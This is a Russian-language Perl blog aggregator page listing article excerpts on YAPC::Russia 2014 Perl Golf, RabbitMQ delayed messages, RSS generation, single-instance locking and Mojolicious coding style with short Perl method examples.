В связи с этим хочу привести более универсальное (но чуть более сложное) решение, позволяющее организовать отложенные сообщения с произвольным временем задержки.
Читать дальше →

Пятница, 5 сентября

Хабрахабр: Метки / perl: Perl Golf на YAPC::Russia 2014




Мы в REG.RU страшно любим участвовать в интересных мероприятиях. Настолько любим, что даже сами стали их организовывать. Например, 13-14 июня, при спонсорской помощи компании и активном участии коллег, мы провели очередную конференцию perl-программистов YAPC::Russia 2014. Как всегда, собралась отличная компания, время было проведено приятно и полезно. К тому же, местом проведения конференции в этом году впервые стал Санкт-Петербург, да ещё и в разгар белых ночей! Немного весёлых картинок с мероприятия можно увидеть в соцсетях (ВКонтакте и Фейсбук), а на YouTube мы даже выложили часть докладов (и всё ещё не теряем надежды выложить остальные).

Помимо прочего культурного досуга, я решил повторить опыт прошлогодней конференции YAPC::Europe и снова провести конкурс Perl Golf.
Читать дальше →

Четверг, 4 сентября

Хабрахабр: Метки / perl: RabbitMQ — отложенные сообщения


image

На Хабре имеется серия переводов официального руководства по RabbitMQ (1, 2, 3, 4, 5). К сожалению, в официальном руководстве не рассматривается вопрос организации отложенный сообщений, а я считаю этот вопрос весьма важным. Поэтому я решал сам написать такую статью.

Примеры кода будут на Перле, но никаких специфических для Перла деталей в коде не будет, поэтому примеры могут быть сравнительно легко адаптированы для любого другого языка.
Читать дальше →

Среда, 3 сентября

Меркантильный гуру: RSS

Задачка сгенерить настоящий валидный RSS, оказывается, не такая уж простая.

С одной стороны, можно вообще по шаблону нечто похожее на XML накидать и большинство читалок это сейчас проглотят (потому что парсят это потом регекспами, вместо парсилки RSS, вероятно). Но валидным рсс оно не будет даже близко.

Хотя, казалось бы, почему XML::RSS из коробки не делает правильно? И, собственно, на кой оно вообще, если масштаб допиливания руками превышает написание всёго нужного ручками?

Вторник, 2 сентября

Хабрахабр: Метки / perl: Блокировка запуска второго экземпляра программы на Perl


image

Время от времени возникает необходимость сделать так, чтобы программа гарантированно работала в одном экземпляре. Например, это может быть скрипт, который генерирует некий файл — если запустить одновременно два экземпляра скрипта, то файл будет испорчен.

Нужно проверить — является ли запускаемый процесс единственным, запущенным в данный момент, экземпляром программы, или уже есть другой, запущенный экземпляр?

Есть несколько методов такой проверки, отличающихся надежностью.
Читать дальше →

Понедельник, 1 сентября

Хабрахабр: Метки / perl: Mojolicious Perl Style


Хочу описать стиль программирования на языке Perl, к которому я стремлюсь и который в основном перенял от современного web-фреймворка Mojolicious, но наверное много где еще применяется подобный. Мне кажется выработать правильный стиль кодинга — очень важно.

Пример 1:
Методы в одну строку.
Если обращение к каждому аргументу функции происходит лишь один раз, и порядок применения их в коде соответствует порядку переданных аргументов, то предлагается извлекать их с помощью стандартной функции shift, которая если вызывается без аргументов, по-умолчанию работает с массивом @_, в котором хранятся все переданные аргументы функции, выталкивает первый аргумент из массива и возвращает его.

sub node { shift->tree->[0] }
#
sub parse { shift->_delegate(parse => shift) }
#
sub _tag { shift->new->tree(shift)->xml(shift) }


Пример 2:
Сначала извлекаем первый параметр, имя класса например, все остальные аргументы передаем другой функции и пусть она их обрабатывает.
sub tree { shift->_delegate(tree => @_) } 
# т.е. может превратиться в это _delegate(tree => [], deep => 5) или это _delegate(tree => [], 5, 0) 
sub log { shift->emit('message', lc shift, @_) }


Пример 3:
Тоже для метода в одну строчку.
Здесь происходит обращение к одному и тому же аргументу целых 3 раза, потому для доступа к аргументу используется прямое обращение к элементу массива аргументов $_[0].
sub _instance { ref $_[0] ? $_[0] : $_[0]->singleton }
#
sub find { $_[0]->_collect(@{$_[0]->_css->select($_[1])}) }


Читать дальше →

Мета

Поиск

Участники

Список участников в формате OPML OPML

Добавить сайт

По-другому

Приборы